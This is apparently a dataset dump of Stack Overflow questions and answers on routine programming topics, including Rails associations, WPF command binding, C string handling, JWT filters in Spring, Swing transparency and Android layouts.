album's attributes):</p> <pre><code>undefined method `name' for #&lt;AlbumArtist:0x007f8e1fc335e8&gt; </code></pre> <p>How can I get this to work?</p> <pre><code>class Album &lt; ActiveRecord::Base has_many :album_artists has_many :artist, through: :album_artists end class AlbumArtist &lt; ActiveRecord::Base belongs_to :album belongs_to :artist # validates_uniqueness_of :name, scope: [:artist_id] end class Artist &lt; ActiveRecord::Base has_many :album_artists has_many :albums, through: :album_artists # validates_uniqueness_of :name, scope: [:artist_id] end </code></pre> <p><strong>Schema</strong></p> <pre><code>create_table "albums", force: :cascade do |t| t.string "name" end create_table "album_artists", force: :cascade do |t| t.integer "album_id" t.integer "artist_id" t.datetime "created_at", null: false t.datetime "updated_at", null: false end add_index "album_artists", ["album_id"], name: "index_album_artists_on_album_id" add_index "album_artists", ["artist_id"], name: "index_album_artists_on_artist_id" create_table "artists", force: :cascade do |t| t.string "name" end </code></pre>
11031268	0	 <p>If you are running Apache with mod_php, you will not see a separate PHP process since the script is actually running inside an Apache process. If you are running as FastCGI, you also might not see a distinguishable PHP process for the actual script execution, though I have no experience with PHP/FastCGI and might be wrong on this.</p> <p>You can set the <a href="http://www.php.net/manual/en/info.configuration.php#ini.max-execution-time" rel="nofollow"><code>max_execution_time</code></a> option, but it is overridable at run time by calling <a href="http://www.php.net/manual/en/function.set-time-limit.php" rel="nofollow"><code>set_time_limit()</code></a> unless you run in <a href="http://www.php.net/manual/en/ini.sect.safe-mode.php#ini.safe-mode" rel="nofollow">Safe Mode</a>. Safe mode, however, has been deprecated in PHP 5.3 and <em>removed</em> in 5.4, so you cannot rely on it if you are on 5.4 or plan to upgrade.</p> <p>If you can manage it with your existing customers (since in some cases it requires non-trivial changes to PHP code), <a href="http://www.php.net/manual/en/install.unix.commandline.php" rel="nofollow">running PHP as CGI</a> should allow you to monitor the actual script execution, as each CGI request will spawn a separate PHP interpreter process and you should be able to distinguish between the scripts they are executing. Note, however, that CGI is the least effective setup (the others being mod_php and FastCGI).</p>
27722795	0	How do I use .filter to return multiple values? <p>Say I have a div, with some CSS and javascript:</p> <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>var someCSS = { color: 'red', }; $(".test &gt; .sub").filter(function(index) { return $(this).text() == 'hello'; }).css(someCSS);</code></pre> <pre class="snippet-code-css lang-css prettyprint-override"><code>.test { color: green; }</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"&gt;&lt;/script&gt; &lt;div class='test'&gt; &lt;div class='sub'&gt;hello&lt;/div&gt; &lt;div class='sub'&gt;stackoverflow&lt;/div&gt; &lt;/div&gt;</code></pre> </div> </div> </p> <p>The above will color the 'hello' red, but I don't understand how to add more values, eg 'hello' and 'stackoverflow'. I obviously can't do <code>return $(this).text() == 'hello' || 'stackoverflow';</code>, but I just can't figure out what to do!</p> <p>Any suggestions will be appreciated :)</p>
18451644	0	 <p><code>!</code> is used to reference one member of a collection ... <code>CollectionName!MemberName</code></p> <p><code>Forms</code> is the name of a collection whose members are <code>Form</code> objects, and includes those forms which are currently open in your Access session.</p> <p>A <code>Form</code> has a collection of <code>Control</code> objects. So appending <code>!ControlName</code> to the form reference gets you a reference to that control.</p> <p>So <code>Forms![HiddenUserCheck]![txtStatus]</code> refers to a control named <em>txtStatus</em> in a form named <em>HiddenUserCheck</em> which is open in your Access session.</p> <p>What you get from that reference is the control's default property, <code>Value</code> ... the value contained in that control.</p>
6994397	0	 <p>Simple: It does nothing. It doesn't escape anything.<br> Entering \n in a textbox enters two characters. This is different from defining <code>var s = "\n"</code> as this is only one character.</p>
21443609	0	Why does `<Button Command={x:Static...}..>` works but `<Button Command={Binding...}..>` doesn't? <p>I'm new to WPF, and I'm trying to implement a custom <code>Command</code>, what I did is that I implemented the <code>ICommand</code> interface and I bound that implementation to a button using two ways one with a Static Extention Marckup and one with a normal Binding, it works fine with <code>{x:Static}</code>, but fails with this error when using <code>{Binding}</code></p> <blockquote> <p>System.Windows.Data Error: 39 : BindingExpression path error: 'StartCommand' property not found on 'object' ''ViewModel' (HashCode=30880833)'. BindingExpression:Path=StartCommand; DataItem='ViewModel' (HashCode=30880833); target element is 'Button' (Name=''); target</p> </blockquote> <p>here is my code</p> <p><strong>XAML</strong></p> <pre><code>&lt;Window x:Class="Window1" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" Title="Window1" Height="75" Width="300"&gt; &lt;StackPanel Orientation="Horizontal" Height="30"&gt; &lt;Button Command="{Binding StartCommand}" Content="Start" Margin="5,0"/&gt; &lt;TextBlock Text="{Binding Name}"/&gt; &lt;/StackPanel&gt; &lt;/Window&gt; </code></pre> <p><strong>Code behind</strong></p> <pre><code>public partial class Window1 : Window { public Window1() { InitializeComponent(); DataContext = new ViewModel { Name = "Simple property" }; } } class ViewModel { public string Name { get; set; } // static to use with {x:Static} public ICommand StartCommand = new StartCommand(); } class StartCommand : ICommand { public bool CanExecute(object parameter) { return false; } public event System.EventHandler CanExecuteChanged { add { CommandManager.RequerySuggested += value; } remove { CommandManager.RequerySuggested -= value; } } public void Execute(object parameter) { MessageBox.Show("Start Executed"); } } </code></pre> <p>What's wrong with my code? am I messing something? thanks in advance.</p>
16338532	0	 <p>You can simple use the function <code>stripslashes</code>. </p> <pre><code> stripslashes($string); </code></pre> <p>Have a look into the official <a href="http://ca3.php.net/manual/en/function.stripslashes.php" rel="nofollow">documentation</a></p> <pre><code> &lt;?php $str = "Is your name O\'reilly?"; // Outputs: Is your name O'reilly? echo stripslashes($str); ?&gt; </code></pre>
12338452	0	 <p>This is very wrong. If you insist on not using <code>strcpy</code> do something like this (not tested)</p> <pre><code>int iStringLength = strlen(name); for (i = 0; i &lt; iStringLength; i++) { s-&gt;name[i] = name[i]; } </code></pre> <p>but make sure that the length is not longer than your array size. </p> <p>This is also wrong</p> <pre><code>Student* makeAndrew(void) { Student s; setName(&amp;s, "Andrew"); setStudentID(&amp;s, 12345678); return &amp;s; } </code></pre> <p>because the <code>s</code> object is destroyed when the function exits - it is local to the function scope and yet you return a pointer to it. So if you try to access the struct using this pointer it will not be valid as the instance no longer exists. If you want to do this you should dynamically allocate it using <code>malloc</code> . Alternatively do not return a pointer at all and use the alternative option of @Andrew .</p>
11134020	0	 <p>It can be done by getting input and output streams from VFS. The following example uses a utility class from commons-net (a dependency of VFS) to manage the copying and progress-monitoring. You could equally do it manually.</p> <pre><code>import org.apache.commons.net.io.Util; import org.apache.commons.net.io.CopyStreamListener; private void copy(FileObject sourceFile, FileObject destinationFile, CopyStreamListener progressMonitor) throws IOException { InputStream sourceFileIn = sourceFile.getContent().getInputStream(); try { OutputStream destinationFileOut = destinationFile.getContent().getOutputStream(); try { Util.copyStream(sourceFileIn, destinationFileOut, Util.DEFAULT_COPY_BUFFER_SIZE, sourceFile.getContent().getSize(), progressMonitor); } finally { destinationFileOut.close(); } } finally { sourceFileIn.close(); } } </code></pre>
35969373	0	All possible combinations of elements in vector with repetitions in MATLAB <p>I have 6 numbers with repetition: 1,2,2,3,3,4. I want all possible combinations using any 4 of the numbers. How will I get that in MATLAB?</p> <p>Generally I use 'nchoosek' function if there is no repetition. </p> <p>Example: <code>A = 1:6; combinations = nchoosek(A,4);</code></p>
27306129	0	String inside structure behavior <p>Let's say we have structure</p> <pre><code>struct MyStruct { public string a; } </code></pre> <p>When we assign it to the new variable what will be happened with the string? So for example, we expect that string should be shared when structs are copied in the stack. We're using this code to test it, but it returns different pointers:</p> <pre><code> var a = new MyStruct(); a.a = "test"; var b = a; IntPtr pA = Marshal.StringToCoTaskMemAnsi(a.a); IntPtr pB = Marshal.StringToCoTaskMemAnsi(b.a); Console.WriteLine("Pointer of a : {0}", (int)pA); Console.WriteLine("Pointer of b : {0}", (int)pB); </code></pre> <p>The question is when structs are copied in the stack and have string inside did it share the string or the string is recreated?</p> <p>[UPDATE]</p> <p>We also tried this code, it returns different pointers as well:</p> <pre><code> char charA2 = a.a[0]; char charB2 = b.a[0]; unsafe { var pointerA2 = &amp;charA2; var pointerB2 = &amp;charB2; Console.WriteLine("POinter of a : {0}", (int)pointerA2); Console.WriteLine("Pointer of b : {0}", (int)pointerB2); } </code></pre>
40810313	0	JavaScript validating form error message <p>I have been working on this form validation and I got the error message to work when I have it displaying as an alert but I cannot seem to get it to print out with <code>document.getElementById("").innerHTML =</code>.</p> <p>I also have this as the form </p> <pre><code> &lt;form id="form" name="form" method="post" onSubmit="return validate(this) &amp;&amp; reportErrors(errors)" action="&lt;?php echo htmlspecialchars($_SERVER["PHP_SELF"]);?&gt;"&gt; var ck_name = /^(Mr|Mrs)\. (.+)? (.+)?/i; var ck_street = /^[0-9]{2,3} +[a-z A-Z]+ +(Street|Road)$/; var ck_postalInput = /^([D-JL-Wd-jl-w]{2})([1-9]{1})[\-\s]?([D-JL-Wd- jl-w]{1})([1-9]{2})$/; var ck_phoneInput = /^[+]?([\d]{0,3})?[\(\.\-\s]?([\d]{3})[\)\.\-\s]* ([\d]{3})[\.\-\s]?([\d]{4})$/; var ck_emailInput =/^[a-zA-Z]+(.)+[a-zA-Z]+(@mohawkcollege)+(.com|.ca|.org)$/; function validate(form){ var nameInput = form.nameInput.value; var streetInput = form.streetInput.value; var postalInput = form.postalInput.value; var phoneInput = form.phoneInput.value; var emailInput = form.emailInput.value; var errors = []; if (!ck_name.test(nameInput)) { errors[errors.length] = "Full name not entered correctly."; } if (!ck_street.test(streetInput)) { errors[errors.length] = "Street name not entered correctly."; } if (!ck_postalInput.test(postalInput)) { errors[errors.length] = "Postal not entered correctly."; } if (!ck_phoneInput.test(phoneInput)) { errors[errors.length] = "Phone number not entered correctly."; } if (!ck_emailInput.test(emailInput)){ errors[errors.length] = "email not entered correctly."; } if (errors.length &gt; 0) { reportErrors(errors); return false; } return true; } function reportErrors(errors){ var msg = "Please Enter Valide Data...\n"; for (var i = 0; i&lt;errors.length; i++) { msg += "\n" + ". " + errors[i]; } document.getElementById("error").innerHtml=msg; } </code></pre>
35150355	0	 <p>You might be able to use <code>UIManager.put("TabbedPane.contentAreaColor", new Color(255, 255, 0, 100));</code></p> <p><img src="https://i.stack.imgur.com/JGkv4.png" alt="screenshot"></p> <pre><code>import java.awt.*; import java.awt.event.*; import javax.swing.*; public class TransparentTabbedPaneTest { public JComponent makeUI() { Color bgc = new Color(110, 110, 0, 100); Color fgc = new Color(255, 255, 0, 100); UIManager.put("TabbedPane.shadow", fgc); UIManager.put("TabbedPane.darkShadow", fgc); UIManager.put("TabbedPane.light", fgc); UIManager.put("TabbedPane.highlight", fgc); UIManager.put("TabbedPane.tabAreaBackground", fgc); UIManager.put("TabbedPane.unselectedBackground", fgc); UIManager.put("TabbedPane.background", bgc); UIManager.put("TabbedPane.foreground", Color.WHITE); UIManager.put("TabbedPane.focus", fgc); UIManager.put("TabbedPane.contentAreaColor", fgc); UIManager.put("TabbedPane.selected", fgc); UIManager.put("TabbedPane.selectHighlight", fgc); UIManager.put("TabbedPane.borderHightlightColor", fgc); JTabbedPane tabs = new JTabbedPane(); JPanel tab1panel = new JPanel(); tab1panel.setBackground(new Color(0, 220, 220, 50)); JPanel tab2panel = new JPanel(); tab2panel.setBackground(new Color(220, 0, 0, 50)); JPanel tab3panel = new JPanel(); tab3panel.setBackground(new Color(0, 0, 220, 50)); JCheckBox cb = new JCheckBox("setOpaque(false)"); cb.setOpaque(false); tab3panel.add(cb); tab3panel.add(new JCheckBox("setOpaque(true)")); tabs.addTab("Tab 1", tab1panel); tabs.addTab("Tab 2", tab2panel); tabs.addTab("Tab 3", new AlphaContainer(tab3panel)); JPanel p = new JPanel(new BorderLayout()) { private Image myBG = new ImageIcon(getClass().getResource("test.png")).getImage(); @Override public void paintComponent(Graphics g) { super.paintComponent(g); g.drawImage(myBG, 0, 0, getWidth(), getHeight(), this); } }; p.add(tabs); p.setBorder(BorderFactory.createEmptyBorder(20, 20, 20, 20)); return p; } public static void main(String... args) { EventQueue.invokeLater(() -&gt; { JFrame f = new JFrame(); f.setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE); f.getContentPane().add(new TransparentTabbedPaneTest().makeUI()); f.setSize(320, 240); f.setLocationRelativeTo(null); f.setVisible(true); }); } } //https://tips4java.wordpress.com/2009/05/31/backgrounds-with-transparency/ class AlphaContainer extends JComponent { private JComponent component; public AlphaContainer(JComponent component) { this.component = component; setLayout( new BorderLayout() ); setOpaque( false ); component.setOpaque( false ); add( component ); } /** * Paint the background using the background Color of the * contained component */ @Override public void paintComponent(Graphics g) { g.setColor( component.getBackground() ); g.fillRect(0, 0, getWidth(), getHeight()); } } </code></pre>
29418705	0	How to change factor to string in R <p>I am working with a data frame that is a list of sequences</p> <pre><code>Alpha_Helix = xmlParse("AlphaTbl.Xml") all_seq = getNodeSet(Alpha_Helix, path = "//Protein/sequence", ) all_seq = xmlToDataFrame(all_seq) </code></pre> <p>I want to find the length of the sequences in each row and then carry out some other work with the sequences but am having trouble accessing them.</p> <p>When I try:</p> <pre><code>length(all_seq$text[1]) [1] 1 nchar(all_seq$text) Error in nchar(all_seq$text) : 'nchar()' requires a character vector nchar(all_seq$text[1]) Error in nchar(all_seq$text[1]) : 'nchar()' requires a character vector as.character(all_seq) # Works [1] "c(117, 91, 8)" </code></pre> <p>How can I access the strings too?</p>
37579915	0	Spring MVC + AngularJS + JWT Token Expiration - HowTo <p>I would like to ensure that my JSON Web tokens are revoked/expire after a configurable ammount of time and i have the following set up:</p> <p>Security Filter:</p> <pre><code>import io.jsonwebtoken.Claims; import io.jsonwebtoken.Jwts; import yourwebproject2.service.UserService; import org.apache.commons.lang.StringUtils; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.web.filter.OncePerRequestFilter; import javax.servlet.FilterChain; import javax.servlet.ServletException; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.util.ArrayList; import java.util.List; import java.util.regex.Pattern; /** * @author: kameshr */ public class JWTTokenAuthFilter extends OncePerRequestFilter { private static List&lt;Pattern&gt; AUTH_ROUTES = new ArrayList&lt;&gt;(); private static List&lt;String&gt; NO_AUTH_ROUTES = new ArrayList&lt;&gt;(); public static final String JWT_KEY = "JWT-TOKEN-SECRET"; static { AUTH_ROUTES.add(Pattern.compile("/api/*")); NO_AUTH_ROUTES.add("/api/user/authenticate"); NO_AUTH_ROUTES.add("/api/user/register"); } private Logger LOG = LoggerFactory.getLogger(JWTTokenAuthFilter.class); @Autowired private UserService userService; @Override protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain filterChain) throws ServletException, IOException { String authorizationHeader = request.getHeader("authorization"); String authenticationHeader = request.getHeader("authentication"); String route = request.getRequestURI(); // no auth route matching boolean needsAuthentication = false; for (Pattern p : AUTH_ROUTES) { if (p.matcher(route).matches()) { needsAuthentication = true; break; } } if(route.startsWith("/api/")) { needsAuthentication = true; } if (NO_AUTH_ROUTES.contains(route)) { needsAuthentication = false; } // Checking whether the current route needs to be authenticated if (needsAuthentication) { // Check for authorization header presence String authHeader = null; if (authorizationHeader == null || authorizationHeader.equalsIgnoreCase("")) { if (authenticationHeader == null || authenticationHeader.equalsIgnoreCase("")) { authHeader = null; } else { authHeader = authenticationHeader; LOG.info("authentication: " + authenticationHeader); } } else { authHeader = authorizationHeader; LOG.info("authorization: " + authorizationHeader); } if (StringUtils.isBlank(authHeader) || !authHeader.startsWith("Bearer ")) { throw new AuthCredentialsMissingException("Missing or invalid Authorization header."); } final String token = authHeader.substring(7); // The part after "Bearer " try { final Claims claims = Jwts.parser().setSigningKey(JWT_KEY) .parseClaimsJws(token).getBody(); request.setAttribute("claims", claims); // Now since the authentication process if finished // move the request forward filterChain.doFilter(request, response); } catch (final Exception e) { throw new AuthenticationFailedException("Invalid token. Cause:"+e.getMessage()); } } else { filterChain.doFilter(request, response); } } } </code></pre> <p>Method that creates the Authentication token:</p> <pre><code>String token = Jwts.builder().setSubject(user.getEmail()) .claim("role", user.getRole().name()).setIssuedAt(new Date()) .signWith(SignatureAlgorithm.HS256, JWTTokenAuthFilter.JWT_KEY).compact(); authResp.put("token", token); authResp.put("user", user); </code></pre> <p>Above i have all the claims that i am using on the JWT , i would like to request that the token is revoked after x ammount of time(of inactivity if possible).</p> <p>How could i achieve this using JWT / Spring MVC / Angular JS / Spring Security</p>
22692739	0	 <p>I'm not aware of any python modules that implement NTLM.</p> <p>But I think this type of authenticated transaction is much more involved than what you're focusing on here. The link you referenced actually contains much more details if you change your starting point from <code>AV_PAIRS</code> structure to the <code>Introduction</code> instead: <a href="http://msdn.microsoft.com/en-us/library/cc236622.aspx" rel="nofollow">http://msdn.microsoft.com/en-us/library/cc236622.aspx</a></p> <p>That said, in order to tackle this correctly, you must first learn about the <code>struct</code> module, because you'll need to use it to create the NTLM message headers. At the same time, also learn about bit shifting and network-byte-order/host-byte-order, because you're going to need that as well.</p> <p>A simple protocol to practice on would be ICMP. Learn how to read and write that header first, using <code>struct</code> and the others I mentioned. When you're more comfortable, then try and tackle creating and reading NTLM messages.</p> <p>Hope this helps.</p>
18425955	0	 <pre><code>/ is a culture sensitive data seperator character in your format String :`"MM/dd/yyyy"` </code></pre> <p>And the Final argument <code>null</code> means you specified to use Current Culture. Check you current culture. Is it <code>en-US</code> ? OR you can also Use <code>InvariantCulture</code></p> <p>use this:</p> <pre><code>DateTime dt =DateTime.ParseExact("19/10/2009", "MM/dd/yyyy", new CultureInfo("en-US")); </code></pre> <p>OR Use InvariantCulture</p> <pre><code>DateTime dt = DateTime.ParseExact("19/11/2011", "MM/dd/yyyy", CultureInfo.InvariantCulture); </code></pre> <p><a href="http://msdn.microsoft.com/en-us/library/w2sa9yss%28VS.80%29.aspx" rel="nofollow">Read MSDN</a> for complete details.</p>
10887980	1	libjpeg.so.62: cannot open shared object file: No such file or directory <p>I am trying to do some image processing with python and the PIL. I was having a problem that I wouldn't correctly import the _imaging folder so I did a reinstall and now I am getting this problem:</p> <pre><code>libjpeg.so.62: cannot open shared object file: No such file or directory </code></pre> <p>I did apt-get remove python-imaging in the command line and then apt-get install python-imaging and now it won't work in Eclipse. Any tips?</p>
37558456	0	R change character encoding of a character vector <p>I read in two data frames from two different excel spreadsheets using openxlsx::read.xlsx. I want to get the common column names. With</p> <pre><code>intersect(colnames(nutrients), colnames(req.EAR)) </code></pre> <p>the output is </p> <pre><code>[1] "carbohydrate_g" "calcium_mg" "iron_mg" "magnesium_mg" "phosphorus_mg" "zinc_mg" "vit_c_mg" [8] "thiamin_mg" "riboflavin_mg" "niacin_mg" "vit_b6_mg" "folate_µg" "vit_b12_µg" "vit_a_rae_µg" [15] "vit_e_mg" </code></pre> <p>a common element - vit_d_μg - doesn't show up in the intersection. I suspected this was because in both spreadsheets, element that contain μ are coded as UTF-8 while the rest are "unknown".</p> <p>The cause of all of this I think is the mu (μ) in the column name. I originally thought this was due to the fact that element names with mu in it were encoded as UTF-8 while the others were "unknown".</p> <p>The real reason is that there are two UTF-8 characters that look like mu. At this website ([<a href="http://www.fileformat.info/info/charset/UTF-8/list.htm]" rel="nofollow">http://www.fileformat.info/info/charset/UTF-8/list.htm]</a></p> <pre><code>GREEK SMALL LETTER MU (U+03BC) looks like μ. MICRO SIGN (U+00B5) looks like µ. </code></pre> <p>Someone (probably me) made a mistake in adding the mu to the spreadsheet.</p>
22781614	0	 <p>A better solution would be to use the django template system. Have the user enter the message in django template format like: Dear {{contactname}}, This is your booking confirmation for your vacation from {{startdate}} to {{enddate}} for a total of {{numdays}} days. Please click {{cancellink}} to cancel your booking.</p> <p>And then use <code>get_template_from_string</code> from <code>django.template.loader</code> and get a template instance. Than you can render the template by doing template.render(context), Where context is a <code>Context</code> instance found in <code>django.template.context</code>. You can read more about django template api in <a href="https://docs.djangoproject.com/en/1.6/ref/templates/api/" rel="nofollow">https://docs.djangoproject.com/en/1.6/ref/templates/api/</a> Should be simple from here.</p>
9356336	0	 <p>The function you have, despite being called <code>ButtonConstructor</code>, is not a constructor.</p> <p>In Java, a constructor must share the name of its parent class (and have no return type). The correct signature would be <code>public TicTacToePanel()</code>.</p> <p>I cannot say for sure without seeing a more complete view of your code (you have surely omitted most of it), but it is likely that you are not calling the function with which you provided us at all, but rather using the implied no-argument constructor. Try renaming the function to the signature I gave above.</p>
11148260	0	 <p>The second parameter in <a href="https://msdn.microsoft.com/en-us/library/aka44szs(v=vs.110).aspx" rel="nofollow"><code>Substring</code></a> is the length of the substring, not the end index.</p> <p>You should probably include handling to check that it does indeed start with what you expect, end with what you expect, and is at least as long as you expect. And then if it doesn't match, you can either do something else or throw a meaningful error.</p> <p>Here's some example code that validates that url contains your strings, that also is refactored a bit to make it easier to change the prefix/suffix to strip:</p> <pre><code>var prefix = "www.example.com/"; var suffix = ".jpg"; string url = "www.example.com/aaa/bbb.jpg"; if (url.StartsWith(prefix) &amp;&amp; url.EndsWith(suffix) &amp;&amp; url.Length &gt;= (prefix.Length + suffix.Length)) { string newString = url.Substring(prefix.Length, url.Length - prefix.Length - suffix.Length); Console.WriteLine(newString); } else //handle invalid state </code></pre>
15919755	0	 <p>try using this </p> <pre><code>&lt;TableLayout android:layout_width="fill_parent" android:layout_height="fill_parent" android:gravity="bottom" android:stretchColumns="*"&gt; &lt;TableRow android:layout_height="wrap_content" android:layout_width="fill_parent" android:gravity="center_horizontal"&gt; &lt;Button android:id="@+id/btnManualLookup" android:text="ABC" android:layout_height="wrap_content" android:layout_width="0dp" android:layout_weight="1" android:textColor="#000000" android:padding="20dip" android:gravity="center"/&gt; &lt;Button android:id="@+id/downloadcerti" android:text="DEF" android:layout_height="wrap_content" android:layout_width="0dp" android:layout_weight="1" android:textColor="#000000" android:padding="20dip" android:gravity="center"/&gt; &lt;Button android:id="@+id/settingsbutton" android:text="GHI" android:layout_height="wrap_content" android:layout_width="0dp" android:layout_weight="1" android:textColor="#000000" android:padding="20dip" android:gravity="center"/&gt; &lt;/TableRow&gt; </code></pre>
13545229	0	How to get raw mouse events in Excel <p>I have an Excel workbook app that includes a low-level definition of a chart. It's not an Excel built-in but one I defined following the [WorkBook->Sheets->WorkSheet->ChartObjects->ChartObject->Chart->[Chartarea, Shapes]] chain. I don't want to talk about how long it took to break <strong>that</strong> cipher.</p> <p>All the drawing stuff works and I'm able to draw lines and place text on the chart.</p> <p>Now I want to capture mouse events and if they're inside the chart limits, act on them. I've tried everything I can think of including right clicking on the chart and doing the "Assign Macro" bit. The sub is never triggered.</p> <p>There has to be a place to put a blahblah_onMouseDown(), but I can't find it.</p> <p><a href="http://smpro.ca/sipmath/SIPshaper1.xlsm" rel="nofollow">The current state of the workbook is here</a></p> <p>Any help would be very much appreciated.</p>
23896780	0	 <p>XSLT doesn't operate on a sequence of characters, but on the tree defined by the XPath data model. There are some properties of the input that the XSLT processor cannot preserve, because it does not see them in the first place. This includes the amount of whitespace between attribute-value specifications in start-tags, the difference between literal characters and numeric character references, and the line-boundary sequences (CRLF, LF, or CR) in the input.</p> <p>If the reason you want to change as little as possible is that you have downstream processes which only kind of, sort of, understand XML, then some XML users will tell you that what you should do is get rid of that broken software and use XML-aware software instead.</p> <p>If the reason you want to change it as little as possible is that it's beautifully formatted and you don't want it mucked up, you may be able to reproduce your beautiful formatting with XSLT. Or not.</p> <p>If you really really need to preserve the distinction between Unix LF sequences and Windows CRLF sequences, you may want to consider some tool that takes a lower-level view of things. Perhaps you can write your transformation in sed. Perhaps you can write a simple transformation in sed that will turn the data into a form that you can read, modify, and rewrite with XSLT without information loss (and then another sed transform to read the XSLT output and put it back into the Win/Unix mix format). Some people would prefer to use Perl instead of sed. Some would do it all in Elisp.</p>
27592454	0	 <p>This regex matches valid URLs according to your rules:</p> <pre><code>http((\:\/\/greenbook\.americansalon\.com\/(((leaf|cat)\/(Haircolor|Cosmetics|Shampoos))|company\b).*)|(s?\:\/\/(?!greenbook\.americansalon\.com).*)) </code></pre> <p><a href="https://regex101.com/r/mE0gG2/1" rel="nofollow"><strong>Online demo</strong></a></p>
15531922	0	 <p><code>package</code> is a <a href="http://docs.oracle.com/javase/tutorial/java/nutsandbolts/_keywords.html" rel="nofollow">reserved word</a>, don't use it as part of a package name. If you try to add a package with "package" as part of it in Eclipse, you will get an error message:</p> <pre><code>Invalid package name. 'package' is not a valid Java identifier </code></pre> <p>Rename the package, then remove the import statement. You don't need to import a file that's in the same package as the one it's referenced in.</p>
41018986	0	 <p>I have finally made the connection to my database by creating a WorkItemHandler and add it as a dependency to my BPM Suite project. After a lot of search, i think this is the best way to do it if anyone wants to access his database in a business process.</p>
9838752	0	 <p>It actually looks fine to me. Try refreshing your CSS by clearing your browser cache.</p> <p><img src="https://i.imgur.com/k2E9P.png" alt="image"></p>
39814142	0	No resource identifier found for attribute 'srcCompat' in package '....' <p>I will being by saying that I have seen SOME answers for this question on stackoverflow already, but only providing a quick 'fix' solution. I would like, if possible, to also understand WHY this is happening (an answer with some detailing).</p> <p>Now to get to the question: I have just re-started android development, using Android Studio 2.2 . I have an ios app which I want to port to android (meaning, recreate it for Android). I have started with a basic template from Android Studio, added a Constraint Layout and 2 ImageViews using 2 PNG files that I have copied in DRAWABLE folder.</p> <p>Without making any changes or whatsoever , when I try to build I get this error:</p> <p>Error:(11) No resource identifier found for attribute 'srcCompat' in package 'x.y.z'. This happens for both images. Here is the layout file:</p> <pre><code>&lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;android.support.constraint.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:app="http://schemas.android.com/apk/lib/x.y.z" xmlns:app2="http://schemas.android.com/apk/res-auto" xmlns:tools="http://schemas.android.com/tools" android:id="@+id/activity_main" android:layout_width="match_parent" android:layout_height="match_parent" tools:context="x.y.z.MainActivity"&gt; &lt;ImageView android:layout_width="wrap_content" android:layout_height="wrap_content" app2:srcCompat="@drawable/pngFile1" android:id="@+id/imageView" app2:layout_constraintBottom_toBottomOf="parent" android:layout_marginEnd="8dp" app2:layout_constraintRight_toRightOf="parent" android:layout_marginBottom="8dp" android:layout_marginRight="8dp" /&gt; &lt;ImageView android:layout_width="wrap_content" android:layout_height="wrap_content" app2:srcCompat="@drawable/pngFile2" android:id="@+id/imageView2" app2:layout_constraintBottom_toTopOf="@+id/imageView" app2:layout_constraintRight_toRightOf="@+id/imageView" android:layout_marginBottom="8dp" /&gt; </code></pre> <p></p> <p>Now, here are some things that I would like to understand, in order to have a proper answer to my question:</p> <ul> <li><p>some of the other answers I have found on SO propose to change the default:</p> <p>xmlns:app="http://schemas.android.com/apk/res-auto"</p></li> </ul> <p>to:</p> <pre><code>xmlns:app="http://schemas.android.com/apk/lib/x.y.z" </code></pre> <p>It's true that this removes the error from the build, but what seems strange to me (with my little-to-none android experience), is that Android Studio creates then another similar line when i add the 2nd image:</p> <pre><code>xmlns:app2="http://schemas.android.com/apk/res-auto" </code></pre> <p>And as we can see, it uses this for the images, so the errors appear again. </p> <p>I remember like one year ago i had worked on an app on Android Studio, and have used almost the same way of adding images / buttons with images and these problems were not there.</p> <p>That's why I would also like to understand why this is happening and how to fix it properly.</p> <p>Thanks in advance !</p>
24635456	0	 <p>Dividing with a float 100. value should covert it into a float. After that, it's only a matter of formatting to display it the way you like.</p> <pre><code>$ python Python 2.7.6 (default, Mar 22 2014, 22:59:56) [GCC 4.8.2] on linux2 Type "help", "copyright", "credits" or "license" for more information. &gt;&gt;&gt; number = 99990 &gt;&gt;&gt; print("{0:.2f}".format(number / 100.)) 999.90 </code></pre>
1808498	0	 <p>Basically if a user gets any error other than 403 or 404 (most notable other than those is 500 which is sent if there's an exception) they'll be redirected to that page, which won't exist (And if you're in IIS7 integrated pipeline or have IIS6 wildcard mapped they'll then get bounced to FileNotFound.htm - otherwise they'll just see a standard 404).</p> <p>It'd probably be nice to at least give the user a "Oh no! Something is wrong!" page.</p>
18327890	0	 <p>ok, looks like sqlite either doesn't have what I need, or I am missing it. Here's what I came up with:</p> <ul> <li><p>declare zorder as integer primary key autoincrement, zuid integer in orders table</p> <p>this means every new row gets an ascending number, starting with 1</p></li> <li><p>generate a random number:</p> <p>rnd = int(random.random() * 1000000) # unseeded python uses system time</p></li> <li><p>create new order (just the SQL for simplicity):</p> <p>'INSERT INTO orders (zuid) VALUES ('+str(rnd)+')'</p></li> <li><p>find that exact order number using the random number:</p> <p>'SELECT zorder FROM orders WHERE zuid = '+str(rnd)</p></li> <li><p>pack away that number as the new order number (newordernum)</p></li> <li><p>clobber the random number to reduce collision risks</p> <p>'UPDATE orders SET zuid = 0 WHERE zorder = '+str(newordernum)</p></li> </ul> <p>...and now I have a unique new order, I know what the correct order number is, the risk of a read collision is reduced to negligible, and I can prepare that order without concern that I'm trampling on another newly created order.</p> <p>Just goes to show you why DB authors implement sequences, lol.</p>
19245842	0	 <p><code>std::endl</code> calls <code>flush</code> stream while <code>cout &lt;&lt; "\n"</code> does not flush the stream, so <code>cout &lt;&lt; "\n";</code> gain better performance, especially while you call it in loop.</p> <p>§27.7.3.8 <strong>Standard basic_ostream manipulators</strong></p> <pre><code>namespace std { template &lt;class charT, class traits&gt; basic_ostream&lt;charT,traits&gt;&amp; endl(basic_ostream&lt;charT,traits&gt;&amp; os); } 1 Effects: Calls os.put(os.widen(’\n’)), then os.flush(). </code></pre>
